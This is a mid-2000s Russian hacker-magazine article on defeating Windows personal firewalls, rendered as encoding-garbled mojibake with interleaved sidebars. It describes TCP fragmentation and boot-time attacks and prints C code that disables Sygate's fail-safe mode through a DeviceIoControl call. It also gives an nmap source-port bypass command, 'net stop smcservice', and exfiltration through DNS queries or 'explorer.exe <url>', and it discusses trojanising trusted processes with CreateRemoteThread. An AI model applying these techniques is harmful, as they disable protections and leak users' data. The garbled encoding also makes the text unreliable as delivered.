äåðæèâàòü IP-ïàêåòû, íàêàïëèâàÿ èõ â
î÷åðåäÿõ. Êàê ñëåäñòâèå, ïîòðåáíîñòè
â ïàìÿòè âîçðîñëè, à ñêîðîñòü ðàáîòû
êàíàëà óïàëà. Ïîëüçîâàòåëü íà÷íåò

ìàòåðèòüñÿ è ñíåñåò òàêîé áðàíäìàó-
ýð. Ê òîìó æå ñîáðàòü TCP-ïàêåò íå
òàê-òî ïðîñòî. Ìàëåéøàÿ íåáðåæíîñòü
ìãíîâåííî îáîðà÷èâàåòñÿ îãðîìíûìè
äûðàìè è ãîëóáûìè ýêðàíàìè :).

Ðàç TCP-ïàêåò íåëüçÿ ñîáðàòü, òî,
ìîæåò áûòü, ëó÷øå ïðèáèòü åãî îò
ãðåõà ïîäàëüøå? Â íîðìàëüíûõ óñëî-
âèÿõ òàêèå ïàêåòû íå âñòðå÷àþòñÿ.
Ïðîáëåìà â òîì, ÷òî ïîðÿäîê ïîëó÷å-
íèÿ IP-ïàêåòîâ ÷àùå âñåãî íå ñîâïà-
äàåò ñ ïîðÿäêîì ñëåäîâàíèÿ TCP-
ôðàãìåíòîâ, ïîýòîìó ïàêåòíûé
ôèëüòð îïÿòü-òàêè äîëæåí âåñòè ó÷åò
ïàêåòîâ, õîòÿ áû ÷àñòè÷íî ðåàëèçóÿ
ïðîòîêîë TCP. À ýòî áåçíàäåæíîå äå-
ëî. Íåñìîòðÿ íà ïî÷åòíûé âîçðàñò
"ôðàãìåíòíîé" àòàêè, îíà îñòàåòñÿ àê-
òóàëüíîé äàæå íà ñåãîäíÿøíèé äåíü,
è ìíîãèå áðàíäìàóýðû ëåãêî ïðîáèâà-
þòñÿ ôðàãìåíòèðîâàííûì TCP-ïà-
êåòîì.

Ðàññìîòðèì åùå îäíó ïîïóëÿðíóþ
àòàêó, íàöåëåííóþ íà ïàêåòíûå
ôèëüòðû óðîâíÿ IP. Ñðåäè ïðî÷èõ
TCP-ïîëåé ïðèòàèëîñü ïîëå êîíòðîëü-
íîé ñóììû. Êàê îêàçàëîñü, áðàíäìàóý-
ðû íå êîíòðîëèðóþò åãî, ïîñêîëüêó
äëÿ ýòîãî èì ïîòðåáîâàëîñü áû ñîáè-
ðàòü âåñü TCP-ïàêåò öåëèêîì, ê òîìó

æå ðàñ÷åò CRC � äîñòàòî÷íî "ïðîæîð-
ëèâàÿ" îïåðàöèÿ, à çàãðóæàòü ïðîöåñ-
ñîð íåõîðîøî :).

Åñëè tcpip.sys äðàéâåð ïîëó÷àåò "áè-
òûé" TCP-ïàêåò, îí ìîë÷àëèâî ïðèáè-
âàåò åãî, íåçàâèñèìî îò òîãî, îòêðûò
äàííûé ïîðò èëè çàêðûò. Ïàêåòíûå
ôèëüòðû âåäóò ñåáÿ èíà÷å, è, åñëè çà-
äàííûé ïîðò çàêðûò, îòïðàâèòåëþ ïî-
ñûëàåòñÿ "÷åñòíûé" RST, äåñêàòü, íå
ëîìèñü òóäà, êóäà òåáÿ íå ïðîñÿò. Êî-
íå÷íî, ïàêåò âñå ðàâíî áóäåò ïðèáèò,
íî, ïî êðàéíåé ìåðå, ìû óçíàåì, ÷òî
çäåñü ïðèñóòñòâóåò àãðåññèâíûé fire-
wall. Âïðî÷åì, ïðè íåêîòîðîì ñòå÷å-
íèè îáñòîÿòåëüñòâ ïðîíèêíóòü ÷åðåç
áðàíäìàóýð âñå-òàêè ìîæíî, î ÷åì ñî-
âåòóþ ïðî÷èòàòü â ñòàòüå "Firewall
spotting and networks analisys with a
broken CRC" â æóðíàëå Phrack
(www.phrack.org/phrack/60/p60-0x0c.txt).

Åùå ïðîùå ïðîíèêíóòü ÷åðåç NAT,
êîòîðûé ðåòðàíñëèðóåò ñåòåâûå àäðå-
ñà â îáõîä áðàíäìàóýðîâ, âèñÿùèõ
âûøå óðîâíÿ tcpip.sys. Äîñòàòî÷íî óñ-
òàíîâèòü ëåãàëüíîå ñîåäèíåíèå ñ àòà-
êóåìûì ïîðòîì. Áðàíäìàóýð äàæå íå
ïèêíåò. Íî îò ñêàíèðîâàíèÿ ïîðòîâ
ëó÷øå âîçäåðæàòüñÿ. Áðàíäìàóýð ìî-
æåò ëåãêî ðàñïîçíàòü ýòó ñèòóàöèþ,
çàáàíèâ òâîé IP.

Êñòàòè, íè îäèí èçâåñòíûé áðàíäìà-
óýð íå îáðàùàåò âíèìàíèÿ íà ïîðÿ-
äîê çàãðóçêè äðàéâåðîâ. Äëÿ Dial-Up'à
ýòî äåéñòâèòåëüíî áåçðàçëè÷íî, ïîñ-
êîëüêó ê òîìó ìîìåíòó, êîãäà ïîëüçî-
âàòåëü ïîëåçåò â Ñåòü, áðàíäìàóýð
áóäåò ãàðàíòèðîâàííî çàãðóæåí. À
äëÿ ïîñòîÿííîãî ïîäêëþ÷åíèÿ (DSL-
ìîäåì èëè ñåòåâàÿ êàðòà) ýòî óæå êðè-
òè÷íî! Åñëè äðàéâåð ìîäåìà èëè ñåòå-
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Íàñòîÿùàÿ îãíåííàÿ ñòåíà, áîÿùàÿñÿ òîëüêî îäíîãî - îãíåòóøèòåëÿ
Àïïàðàòíûé áðàíäìàóýð çàêëþ÷åí èìåí-
íî â ýòîì êåðàìè÷åñêîì ïðÿìîóãîëüíèêå
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âóõè çàãðóçèòñÿ ðàíüøå áðàíäìàóýðà
(÷àñòî âñå ïðîèñõîäèò èìåííî òàê), òî
íà êàêîå-òî âðåìÿ êîìïüþòåð îêàæåò-
ñÿ áåççàùèòåí! Îáû÷íî ýòî ïðîäîë-
æàåòñÿ îò òðèäöàòè ñåêóíä äî íåñ-
êîëüêèõ ìèíóò. Êàçàëîñü áû, ÷òî òóò
òàêîãî? Âåðîÿòíîñòü àòàêè íè÷òîæíî
ìàëà... Êàê áû íå òàê! Â ðàçãàð ýïèäå-
ìèè ÷åðâÿ MS Blast (îí æå Love San)
îí ëîìèëñÿ íà ïîðò ÷óòü ëè íå ÷åðåç
êàæäûå ïîë÷àñà è ïðîíèêíîâåíèå èç
ìàëîâåðîÿòíîãî ñòàíîâèëîñü âïîëíå
ðåàëüíûì. Ê òîìó æå õàêåð ìîæåò
óðîíèòü àòàêóåìóþ ñèñòåìó â ñèíèé
ýêðàí, ñêëîíÿÿ åå ê ïåðåçàãðóçêå, è
òóò æå îáðóøèòü íà íåå øòîðì ïàêå-
òîâ, ëîìÿùèõñÿ íà çàáëîêèðîâàííûé
ïîðò. Ê òîìó âðåìåíè, êîãäà áðàíäìàó-
ýð çàâåðøèò ñâîþ çàãðóçêó, àòàêà áó-
äåò çàâåðøåíà :).

Áðàíäìàóýð ìîæåò è ñàì ñòàòü îáú-
åêòîì àòàêè, îñîáåííî åñëè ïðåäñòàâ-
ëÿåò ñîáîé NDIS-äðàéâåð, ðåàëèçóþ-
ùèé ÷àñòü ôóíêöèé TCP/IP. Ñïåöèàëü-
íî ïîäãîòîâëåííûì ïàêåòîì ìîæíî
ñâàëèòü åãî â ñèíèé ýêðàí èëè ïåðå-
äàòü óïðàâëåíèå íà shell-êîä. Â ÷àñò-
íîñòè, Jetico ïàäàåò ïðè ñêàíèðîâà-
íèè ìàøèíû óòèëèòîé XSpider (ïðàâ-

äà, ïîñëåäíèå âåðñèè Jetico íå ïðîâå-
ðÿëè). Êðîìå òîãî, íèêàêîé áðàíäìàó-
ýð íå ñïàñàåò îò àòàê íà äðàéâåð
tcpip.sys, à îøèáêè â íåì òîæå ñîäåð-
æàòñÿ. Â ÷àñòíîñòè, òåõíè÷åñêàÿ çà-
ìåòêà KB893066, äàòèðóåìàÿ 17 èþíÿ
2005 (www.microsoft.com/technet/security/bulletin/ms05-
019.mspx), ñîîáùàåò î äûðå â tcpip.sys,
ñïîñîáíîé âûïîëíÿòü shell-êîä èëè
âûçûâàòü ñèíèé ýêðàí. Ïàêåòíûå
ôèëüòðû, ðàáîòàþùèå íà NDIS-óðîâ-
íå, îò ýòîé ïðîáëåìû íå ñïàñàþò, ïîñ-
êîëüêó âíåøíå õàêåðñêèå ïàêåòû âûã-
ëÿäÿò âïîëíå íîðìàëüíî. Êîíå÷íî, òà-
êèå äûðû ïîÿâëÿþòñÿ äàëåêî íå êàæ-
äûé äåíü, íî è çàïëàòêè óñòàíàâëèâà-
þòñÿ íå ñðàçó!

ÈÇ ÍÅÂÎËÈ ÍÀ ÑÂÎÁÎÄÓ
Ïðîáèòüñÿ ñêâîçü áðàíäìàóýð èç-

íóòðè íàìíîãî ïðîùå, ÷åì ñíàðóæè,
ïîñêîëüêó áðàíäìàóýð ôèçè÷åñêè âû-
ïîëíÿåòñÿ íà òîé æå ñàìîé ìàøèíå,
÷òî è çëîâðåäíûå ïðèëîæåíèÿ. Åãî
êîä ñâîáîäíî äîñòóïåí äëÿ èçìåíå-
íèÿ è ìîäèôèêàöèè. Èñêëþ÷åíèå ñîñ-
òàâëÿþò àïïàðàòíûå firewall'û, âñòðî-
åííûå â ìàòåðèíñêóþ ïëàòó. Îäíàêî
èõ âîçìîæíîñòè ñèëüíî îãðàíè÷åíû.

Â ÷àñòíîñòè, îíè íå ìîãóò îïðåäåëèòü,
êàêîå èìåííî ïðèëîæåíèå ëîìèòñÿ íà
äàííûé ïîðò - "÷åñòíûé" Ëèñ èëè êî-
âàðíûé òðîÿí.

Ëþáàÿ ïðîãðàììà, íåçàâèñèìî îò
óðîâíÿ ñâîèõ ïðèâèëåãèé, ìîæåò ýìó-
ëèðîâàòü êëàâèàòóðíûé ââîä, äåëàÿ ñ
îêíîì áðàíäìàóýðà âñå ÷òî óãîäíî,
íàïðèìåð âðåìåííî îòêëþ÷àòü çàùè-
òó. Êñòàòè ãîâîðÿ, íåêîòîðûå áðàíäìà-
óýðû êîíôèãóðèðóþòñÿ è îòêëþ÷àþò-
ñÿ ÷åðåç ðååñòð, ÷òî óïðîùàåò çàäà÷ó
åùå áîëüøå.

Åñëè áðàíäìàóýð âûïîëíåí â âèäå
ñëóæáû, åå ìîæíî "ñíåñòè" èëè îñòà-
íîâèòü. Âçÿòü õîòÿ áû SPF. Ðàçðàáîò-
÷èêè ïèøóò â äîêóìåíòàöèè: "Sygate
Pesonal Firewall èìååò ñïåöèàëüíûé
ìåõàíèçì ïðåäîòâðàùåíèÿ ñáîåâ, êî-
òîðûé îñòàíàâëèâàåò âåñü ïðèíèìàå-
ìûé/ïåðåäàâàåìûé ñåòåâîé òðàôèê, â
ñëó÷àå åñëè ñëóæáà áðàíäìàóýðà îêà-
æåòñÿ íåäîñòóïíîé. Ñëåäîâàòåëüíî,
åñëè çëîâðåäíàÿ ëîêàëüíàÿ ïðîãðàì-
ìà ïðèáüåò íàø ñåðâèñ, âåñü òðàôèê
áóäåò îñòàíîâëåí è îíà îñòàíåòñÿ ñ
íîñîì. Òåì íå ìåíåå, ïðè æåëàíèè õà-
êåð ìîæåò îáîéòè ýòîò ìåõàíèçì".
×òîáû ïðåîäîëåòü áðàíäìàóýð, íóæíî
îñòàíîâèòü smc-ñåðâèñ, ÷òî ìîæíî
ñäåëàòü äâóìÿ ïóòÿìè. Ëèáî âûïîë-
íèòü êîìàíäó "net stop smcservice",
ëèáî ïîñëàòü ñîîáùåíèå ÷åðåç
Service Control Manager API, êîòîðàÿ
íå òðåáóåò íèêàêèõ ïðèâèëåãèé: 

SendMessage(hHdrControl, HDM_GETITEMRECT, 1,
(LPARAM)NON-WRITABLE_ADDR); 

Íà ñëåäóþùåì øàãå âûïîëíÿåòñÿ
êîä, îòêëþ÷àþùèé ðåæèì çàùèòû îò
ñáîåâ:

DWORD ret; char buffer[8];
DWORD *ptr = (DWORD *)buffer;
DWORD *ptr2 = (DWORD *)(buffer + 4);

hDevice = CreateFile("\\\\.\\Teefer",
GENERIC_WRITE | GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);

if (hDevice == INVALID_HANDLE_VALUE){
printf("Open failed\n");
return -1;

}

*ptr = 0; *ptr2 = 0;

if (DeviceIoControl(hDevice, 0x212094, buffer,
8,buffer,8,&ret,0))

printf("Sent.\n");
CloseHandle(hDevice);

Äðóãèå áðàíäìàóýðû òàêæå èìåþò
óÿçâèìîñòè, ïåðå÷åíü êîòîðûõ ìîæíî
íàéòè íà ëþáîì ñàéòå ïî áåçîïàñíîñ-
òè. Òåì íå ìåíåå, ýòè äûðû íå ïðåäñ-
òàâëÿþò êàêîé-ëèáî ïðàêòè÷åñêîé
öåííîñòè, ïîñêîëüêó íàïèñàòü âèðóñ,
ïîääåðæèâàþùèé âñå òèïû áðàíäìàó-
ýðîâ, äîâîëüíî çàòðóäíèòåëüíî (à èõ
êîëè÷åñòâî ñ êàæäûì ãîäîì âñå ðàñ-
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Ïîêà ïðîãðó-
æàþòñÿ ðàç-
ëè÷íûå äðàé-
âåðû (ñåòåâóõè
â òîì ÷èñëå), à
áðàíäìàóýð
åùå íå çàãðó-
æåí, ìîæíî
ñïîêîéíî àòà-
êîâàòü.

Ìíîãèå áðàíä-
ìàóýðû è ïî
ñåé äåíü ëåãêî
ïðîáèâàþòñÿ
ôðàãìåíòèðî-
âàííûì TCP-
ïàêåòîì.

Îíè ïðåîäîëåâàþò áðàíäìàóýðû

Sygate Personal Firewall 5.0, ñêîíôèãóðèðîâàííûé ïî óìîë÷à-
íèþ, ïðîïóñêàåò UDP-ïàêåòû íà ëþáîé çàáëîêèðîâàííûé ïîðò, åñ-
ëè ïîðò îòïðàâèòåëÿ ðàâåí 137 èëè 138. Ïðîâåðèòü ìîæíî êîìàíäîé
"nmap -vv -P0 -sU 192.168.0.1 -g 137".

ÊÀÊ ÇÀÒÎÏÒÀÒÜ SYGATE



òåò è ðàñòåò). Ê òîìó æå îäíàæäû îá-
íàðóæåííàÿ äûðà ÷åðåç íåêîòîðîå
âðåìÿ çàòûêàåòñÿ.

Ìîæíî, êîíå÷íî, çàéòè ñ äðóãîé ñòî-
ðîíû è îáúÿâèòü âîéíó ïàêåòíûì
ôèëüòðàì: âûãðóçèòü äðàéâåðû ìèíè-
ïîðòîâ, îòêëþ÷èòü ñèñòåìó ôèëüòðà-
öèè èëè îáðàòèòüñÿ ê tcpip.sys/NDIS
íàïðÿìóþ, íî... âñå ýòî ñëèøêîì ñëîæ-
íî è íåïåðåíîñèìî. Òî, ÷òî ðàáîòàåò â
NT, íå ñìîæåò ðàáîòàòü â 9x è íàîáî-
ðîò. Íàèáîëüøèé èíòåðåñ ïðåäñòàâëÿ-
þò óíèâåðñàëüíûå ìåòîäèêè, ðàáîòà-
þùèå íà ïðèêëàäíîì óðîâíå è íå òðå-
áóþùèå íàâûêîâ ñèñòåìíîãî ïðîãðàì-
ìèðîâàíèÿ.

Ïðîáëåìó ñ îáðàòíîé ïåòëåé óæå
óïîìÿíóëè. Åñëè íà êîìïüþòåðå óñòà-
íîâëåí proxy, ÷åðåç íåãî ìîæåò âûõî-
äèòü êòî óãîäíî. Â ÷àñòíîñòè, HTTP-
Proxy îáû÷íî âèñÿò íà 80, 8080 èëè
8081 ïîðòó, ïîýòîìó èõ î÷åíü ëåãêî
îáíàðóæèòü. Ïðàâäà, â íåêîòîðûõ ñëó-
÷àÿõ îíè çàùèùåíû ïàðîëåì è çëî-
âðåäíîìó ïðèëîæåíèþ ïðèõîäèòñÿ çà-
ïóñêàòü ñíèôåð èëè óñòàíàâëèâàòü
ñâîé ñîáñòâåííûé ïàêåòíûé ôèëüòð è
ãðàáèòü ëîêàëüíûé òðàôèê íà ïðåä-
ìåò ïîèñêà ïàðîëåé.

Åñëè íà êîìïüþòåðå íåò íèêàêèõ
proxy, ìîæíî ïîïðîáîâàòü ïîñëàòü
DNS-çàïðîñ íà ïîäêîíòðîëüíûé õàêå-
ðó ñåðâåð (êñòàòè, îí ìîæåò íàõîäèòü-
ñÿ è íà äèíàìè÷åñêîì IP). Ïðàêòè÷åñ-
êè âñå áðàíäìàóýðû ñïîêîéíî ïðîïóñ-
êàþò òàêèå çàïðîñû, íå âûäàâàÿ íèêà-
êèõ ïðåäîñòåðåãàþùèõ ñîîáùåíèé è
íå îáðàùàÿñü ê ïîëüçîâàòåëþ çà
ïîäòâåðæäåíèåì. Êîíêðåòíûé ïðèìåð
ìîæíî íàéòè â óòèëèòå DNS-tester, èñ-
õîäíûé êîä êîòîðîé ëåæèò íà ãëóõîì
áåçûìÿííîì ñàéòå
www.klake.org/~jt/misc/dnstest.zip. À çäåñü ðàñ-
ïîëîæåí àëüòåðíàòèâíûé âàðèàíò, èñ-
ïîëüçóþùèé çàïðîñ DnsQuery:
www.klake.org/~jt/misc/dnstester.zip. Òàêóþ àòàêó
âûäåðæèâàåò òîëüêî Zone Alarm è

Jetico. Íî, êàê ãëàñèò íàðîäíàÿ ìóä-
ðîñòü, íà êàæäîãî Ìóðîìöà íàéäåòñÿ
ñâîé Çìåé-Ãîðûíû÷. Íó, åñëè íå Çìåé,
òàê ÷åðâü òî÷íî :).

Íàèáîëåå ìîùíîé è â òî æå âðåìÿ
óíèâåðñàëüíîé òåõíèêîé îáõîäà
áðàíäìàóýðîâ îñòàåòñÿ "òðîÿíèçà-
öèÿ" äîâåðåííûõ ïðèëîæåíèé. Íà
êàæäîì êîìïüþòåðå óñòàíîâëåíû
ïðîãðàììû, êîòîðûì ðàçðåøåí áåñ-
ïðåïÿòñòâåííûé âûõîä â Ñåòü. Áðàíä-
ìàóýðû ïåðâîãî ïîêîëåíèÿ îðèåíòè-
ðîâàëèñü òîëüêî íà èìÿ èñïîëíÿåìî-
ãî ôàéëà, íî íèêàê íå ïðîâåðÿëè åãî
ñîäåðæèìîå. Õàêåðó áûëî äîñòàòî÷íî
âðåìåííî ïåðåèìåíîâàòü äîâåðåííûé
ôàéë, ïîäìåíèâ åãî ñâîèì. È ýòî ðà-
áîòàëî! Ñîâðåìåííûå áðàíäìàóýðû íå
òîëüêî ñëåäÿò çà öåëîñòíîñòüþ äîâå-
ðåííûõ ïðèëîæåíèé, íî è ðàñïîçíàþò
ïîäìåíó èñïîëüçóåìûõ äèíàìè÷åñêèõ
áèáëèîòåê èëè ìîäèôèêàöèþ êîìïî-

íåíòîâ. Ëîáîâàÿ àòàêà çàõëåáûâàåò-
ñÿ, åùå äàæå íå íà÷àâøèñü.

Â òî æå âðåìÿ íè îäèí áðàíäìàóýð
íå êîíòðîëèðóåò îáðàç çàãðóæåííîãî
ïðèëîæåíèÿ â ïàìÿòè, ÷òî, ñîáñòâåí-
íîãî ãîâîðÿ, è íåóäèâèòåëüíî, ïîñ-
êîëüêó ìíîãèå ïðîöåññû äèíàìè÷åñêè
ðàñøèôðîâûâàþòñÿ íà ëåòó èëè ñîç-
äàþò/óäàëÿþò ïîòîêè äëÿ ñëóæåáíîé
íåîáõîäèìîñòè. Ïîðàçèòåëüíî, íî äà-
æå òàêèå íàèâíûå ñïîñîáû âíåäðåíèÿ
ñîáñòâåííîãî êîäà, êàê
CreateRemoteThread èëè
WriteProcessMemory, îáõîäÿò âñå èç-
âåñòíûå áðàíäìàóýðû è íè îäèí èç
íèõ äàæå íå ïîðûâàåòñÿ ïèêíóòü, õîòÿ
îòñëåäèòü âûçîâû
CreateRemoteThread/WriteProcessMe
mory âïîëíå ðåàëüíî. Ãîòîâûõ ïðèìå-
ðîâ õâàòàåò â Ñåòè, âîò òîëüêî îäèí
èç íèõ: www.firewallleaktester.com/leaks/copycat.exe.

Äðóãîé íåâåðîÿòíî òóïîé, íî âìåñòå
ñ òåì ýëåãàíòíûé ñïîñîá îáõîäà, îá-
ìàíûâàþùèé âñå èçâåñòíûå áðàíäìà-
óýðû: äîñòàòî÷íî íàáðàòü â êîìàíäîé
ñòðîêå "explorer.exe http://kpnc.open-
net.ru" (åñòåñòâåííî, http-àäðåñ ìîæåò
áûòü ëþáûì), ÷òîáû âûéòè â Ñåòü áåç
çàïðîñà ñî ñòîðîíû áðàíäìàóýðà. Óêà-
çàâ àäðåñ ñâîé äîìàøíåé ñòðàíè÷êè,
àòàêóþùèé ñìîæåò ïåðåäàòü ëþáûå
äàííûå â ñòðîêå çàïðîñà. Âïðî÷åì,
ýêñïåðèìåíòû ñ SPF ïîêàçàëè, ÷òî îá-
õîä áðàíäìàóýðà íå òàêîé óæ è ïîë-
íûé. È åñëè íàïðîòèâ IE ñòîèò íå
"Ask" (ñïðàøèâàòü), à "Block" (áëîêè-
ðîâàòü), òî àòàêóþùèé îáëàìûâàåòñÿ.
Íî è ðàáîòà ñàìîãî IE ñòàíîâèòñÿ íå-
âîçìîæíîé, òàê ÷òî â öåëîì èñïûòà-
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Îáìàíóòü
áðàíäìàóýð òó-
ïî è ýëåãàíòíî
ìîæíî êîìàí-
äîé
"explorer.exe
http-àäðåñ",
âûéäÿ â Ñåòü
áåç ëèøíèõ
âîïðîñîâ :).

Óíèâåðñàëü-
íûé ñïîñîá îá-
õîäà ôàéðâî-
ëà - òðàâëÿ
òðîÿíàìè ïðîã-
ðàìì, êîòîðûì
ðàçðåøåí
áåñïðåïÿò-
ñòâåííûé âû-
õîä â Ñåòü.

ÏÎËÎÑÀ ÏÐÅÏßÒÑÒÂÈÉ60 ÊËÈÅÍÒ

Ìíîãèå áðàíäìàóýðû (â ÷àñòíîñòè SPF) ïðè ïåðâîì îáðàùåíèè
ïðîãðàììû â Ñåòü âûáðàñûâàþò äèàëîãîâîå îêíî, â êîòîðîì ñîîá-
ùàåòñÿ èìÿ ïðèëîæåíèÿ, IP-àäðåñ è ïîðò, íà êîòîðûé îíî ëîìèòñÿ.
Åñëè ïîëüçîâàòåëü ðàçðåøàåò äîñòóï, äàëüíåéøèå çàïðîñû áîëü-
øå íå ïîÿâëÿþòñÿ, äàæå åñëè ïðèëîæåíèå óñòðåìèòñÿ ñîâñåì íà
äðóãîé ïîðò! Ýòî çíà÷èò, ÷òî, "âïðûñíóâ" õàêåðñêèé êîä â Ëèñà èëè
IE, ìîæíî ðàáîòàòü íå òîëüêî ÷åðåç HTTP, íî è, íàïðèìåð, âèñåòü íà
IRC. À äëÿ áîòíåòîâ ýòî ñàìîå ÷òî íàäî! Êîíå÷íî, åñëè ïîëüçîâà-
òåëü ïîäíèìåò ëîãè, îí ñèëüíî óäèâèòñÿ, ÷òî æå ñòàëî ñ åãî ëþáè-
ìîé Ëèñîé. Äà òîëüêî êòî â òå ëîãè ñìîòðèò?

ÎÄÈÍ ÇÀ ÂÑÅÕ È ÂÑÅ ÇÀ ÎÄÍÎÃÎ

Ìóðîìåö è áðàíäìàóýð WallBreaker ñîáñòâåííîé ïåðñîíîé

Ãîòîâûõ ïðèìåðîâ õâàòàåò â Ñåòè, 
âîò òîëüêî îäèí èç íèõ: 

www.firewallleaktester.com/leaks/copycat.exe.



íèÿ äàííîãî âèäà îðóæèÿ ìîæíî ñ÷è-
òàòü ñîñòîÿâøèìèñÿ.

Óòèëèòà, ðåàëèçóþùàÿ òàêóþ àòàêó,
çîâåòñÿ WallBreaker (Ðàçðóøèòåëü
Ñòåí). Êîãäà-òî îíà ðàñïðîñòðàíÿëàñü
â èñõîäíûõ êîäàõ, à òåïåðü íà ñåðâå-
ðå ëåæèò òîëüêî äâîè÷íûé ôàéë:
www.firewallleaktester.com/leaks/WallBreaker.exe. Êàê ïè-
øåò ñàì àâòîð, "èñõîäíûå êîäû ìîåãî
òåñòåðà áðàíäìàóýðîâ òåïåðü íåäîñ-
òóïíû, ÷òîáû íå ïîìîãàòü ïèîíåðàì è
âèðóñîïèñàòåëÿì. Òåì íå ìåíåå, ÿ
ïîøëþ ñâîþ ñûðöû ëþáîìó ðàçðàáîò-
÷èêó áðàíäìàóýðîâ, êîòîðûé òîëüêî
çàõî÷åò...". Íî äëÿ àíàëèçà ïðîãðàììû
ñûðöû ñîâñåì íå îáÿçàòåëüíû, äîñòà-
òî÷íî ïðîñòî çàïóñòèòü Ôàéëîâûé
Ìîíèòîð Ìàðêà Ðóññèíîâè÷à, êàê òóò
æå îáíàðóæèâàåòñÿ, ÷òî ïðîãðàììà
ñîçäàåò êîìàíäíûé ôàéë ñî ñëó÷àé-
íûì íàçâàíèåì è ñðàçó óäàëÿåò åãî.
Îñòàåòñÿ ëèáî çàëåçòü â òàáëèöó èì-
ïîðòà è çàìåíèòü DeleteFileA íà ÷òî-òî
áîëåå íåâèííîå, ëèáî çàïóñòèòü
GetDataback èëè R-Studio, âîçâðàùàÿ
óäàëåííûé ôàéë èç ìèðà ìåðòâûõ â
ìèð æèâûõ. ×òî ìû óâèäèì?

Ôàéë AAYUHIN.bat, ññîçäàííûé èè òòóò
æå óóäàëåííûé WWallBreaker'îì

REM 5
REM 11
REM 5
REM 5
REM 2
REM 2
REM 3
REM 13
explorer.exe
http://www.firewallleaktester.com/leak_results/wallbreak-
er_youareleaking.php
REM 1
REM 4

Ðàçóìååòñÿ, ïîìèìî âûøåîïèñàí-
íûõ ñóùåñòâóþò è äðóãèå ñïîñîáû
ïðîíèêíîâåíèÿ, íî îáúÿòü íåîáúÿò-
íîå åùå íèêîìó íå óäàâàëîñü.

ÊÀÊÎÉ ÈÇ ÁÐÀÍÄÌÀÓÝÐÎÂ
ËÓ×ØÈÉ

Ñïîðû, ÷òî êðó÷å - "Ìåðñåäåñ èëè
ÊÀÌÀÇ" - âñåãäà áåñïîëåçíû. Ñóùåñò-
âóåò ñëèøêîì ìíîãî êðèòåðèåâ, ÷üþ

çíà÷èìîñòü êàæäûé îöåíèâàåò ïî-
ñâîåìó. Íàïðèìåð, Outpost � åäèí-
ñòâåííûé áðàíäìàóýð ñ îòêðûòûì
SDK, ÷òî ïîçâîëÿåò èñïîëüçîâàòü åãî
êàê ìîùíûé èíñòðóìåíò äëÿ èññëåäî-
âàíèÿ ñåòåâîãî ñòåêà è ðàçëè÷íûõ õà-
êåðñêèõ èíñòðóìåíòîâ. SPF âåäåò
óäîáíûå ïðîôåññèîíàëüíûå îðèåí-
òèðîâàííûå ïðîòîêîëû, èíòåãðèðî-
âàííûé XP Firewall íàèìåíåå êîíô-
ëèêòåí è ò.ä.

Íà ñàéòå www.firewallleaktester.com ïðèâåäåíû
ðåçóëüòàòû ñðàâíèòåëüíîãî òåñòèðî-
âàíèÿ äåñÿòêà ïîïóëÿðíåéøèõ áðàíä-
ìàóýðîâ íà ïðîíèêíîâåíèå è âûëîæå-
íî áîëüøîå êîëè÷åñòâî ñòåíîáèòíûõ
óòèëèò, ìíîãèå èç êîòîðûõ ðàñïðîñò-
ðàíÿþòñÿ â èñõîäíûõ òåêñòàõ. Ïîñëå
íåáîëüøîé äîðàáîòêè íàïèëüíèêîì
èõ ìîæíî èñïîëüçîâàòü äëÿ àòàê èëè
âñòðàèâàòü â ñîáñòâåííûå ïðîãðàììû
èçâåñòíîãî íàçíà÷åíèÿ. Åñëè èñõîä-
íûõ òåêñòîâ íåò - íå áåäà. Ôàéëîâûå
è ñåòåâûå ìîíèòîðû, øïèîíû çà API-
ôóíêöèÿìè ó íîðìàëüíîãî õàêåðà
âñåãäà ïîä ðóêîé. Ê òÿæåëîé àðòèëëå-
ðèè â ëèöå IDA Pro è Soft-ice ñëåäóåò
ïðèáåãàòü òîëüêî â êëèíè÷åñêèõ ñëó-
÷àÿõ, ïîñêîëüêó äèçàññåìáëåðíûé
àíàëèç òðåáóåò âðåìåíè, à âðåìÿ -
ýòî ñàìûé öåííûé è ê òîìó æå íåâîñ-
ïîëíèìûé ðåñóðñ, êîòîðîãî íèêîãäà
íå õâàòàåò. 

Êàê âèäíî, ñàìûì ñòîéêèì îêàçàëñÿ
Zone Alarm, íî öåíà ýòîé ñòîéêîñòè
âåñüìà îòíîñèòåëüíà. Zone Alarm íå
êîíòðîëèðóåò âûçîâû
CreateRemoteThread/WriteProcessMe
mory, è ïîýòîìó âñå òðîÿíû, èñïîëü-
çóþùèå ýòó òåõíîëîãèþ âíåäðåíèÿ,
îñòàíóòñÿ íåçàìå÷åííûìè! À åå èñ-
ïîëüçóþò, êàê ïîêàçûâàåò ïðàêòèêà,
î÷åíü ìíîãèå...

Ïîñëåäíåå ìåñòî çàíÿë èíòåãðèðî-
âàííûõ XP'ûé Firewall, êîòîðûé âîîá-

ùå êîíòðîëèðóåò íåèçâåñòíî ÷òî è íå-
ïîíÿòíî çà÷åì :). Çà íèì ñ ìèíèìàëü-
íûì îòðûâîì èäåò Kaspersky Anti-
Hacker, ïîïàâøèé â ðåçóëüòàòû òåñòè-
ðîâàíèÿ ñîâåðøåííî ñëó÷àéíî (ýòî
æå ñîâñåì íå áðàíäìàóýð, à äèêèé
ñûí ñòåïåé êàëìûê, ÿäðåí åãî êèð-
äûê). Îñòàëüíûå áðàíäìàóýðû çàíè-
ìàþò ïðîìåæóòî÷íîå ïîëîæåíèå è
áîëåå-ìåíåå ïðèãîäíû äëÿ êîíòðîëÿ
íàä ëåãàëüíûì òðàôèêîì, íî ñ öåëå-
íàïðàâëåííîé àòàêîé íè îäèí èç íèõ,
óâû, íå ñïðàâëÿåòñÿ.

È?
Âûõîäèòü â èíòåðíåò ÷åðåç

áðàíäìàóýð - âñå ðàâíî ÷òî çàíè-
ìàòüñÿ ñåêñîì â ïðåçåðâàòèâå. Íåó-
äîáíî è âñå ðàâíî íåáåçîïàñíî.
Ïðàâäà, áåç íåãî åùå õóæå. Òàê ÷òî
íàòÿãèâàòü ýòó øòóêó ïîâåðõ ñâîåãî
êîìïüþòåðà èëè íåò, êàæäûé äîëæåí
ðåøàòü ñàì. Ñîâåò - äåðæè íà ñâîåé
ìàøèíå SPF, íî òîëüêî çàòåì, ÷òîáû
ñëåäèòü çà "÷åñòíûìè" ïðèëîæåíèÿ-
ìè. Íàïðèìåð, î÷åíü çàáàâíî, êîãäà
Acrobat ïûòàåòñÿ çàãðóçèòü ñâîè
